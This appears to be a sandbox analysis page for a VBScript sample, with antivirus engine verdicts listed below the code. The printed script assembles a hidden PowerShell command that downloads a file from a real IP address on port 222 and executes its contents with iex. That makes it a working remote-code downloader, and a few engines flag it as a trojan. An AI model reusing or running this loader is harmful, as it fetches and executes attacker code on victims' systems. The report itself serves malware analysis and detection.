Static | ZeroBOX
No static analysis available.
Set EUS = CreateObject("WScript.Shell")
Dim mask
mask = "$xmldoc = "
mask = mask & "New-Object "
mask = mask & "System.Xml.XmlDocument;"
mask = mask & " "
mask = mask & "$xmldoc.'Load'("
mask = mask & "'http://185.81.157.25:222/A.txt');"
mask = mask & " "
mask = mask & "iex "
mask = mask & "$xmldoc.command.a.execute"
fullCommand = "POWeRSHeLL.eXe " & mask
runOptions = 0
EUS.Run fullCommand, runOptions
Set EUS = Nothing
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec ISB.Downloader!gen80
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast VBS:Obfuscated-KE [Cryp]
Cynet Clean
Kaspersky HEUR:Trojan.Script.Generic
BitDefender Clean
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan Clean
Tencent Clean
Sophos Clean
F-Secure Clean
Baidu Clean
Zillya Clean
TrendMicro Clean
FireEye Clean
Emsisoft Clean
Ikarus Clean
Jiangmin Clean
Google Clean
Avira Clean
Antiy-AVL Clean
Kingsoft Clean
Microsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
ViRobot Clean
ZoneAlarm HEUR:Trojan.Script.Generic
GData Clean
Varist Clean
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
MAX Clean
VBA32 Clean
Zoner Clean
Rising Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
AVG VBS:Obfuscated-KE [Cryp]
Panda Clean
No IRMA results available.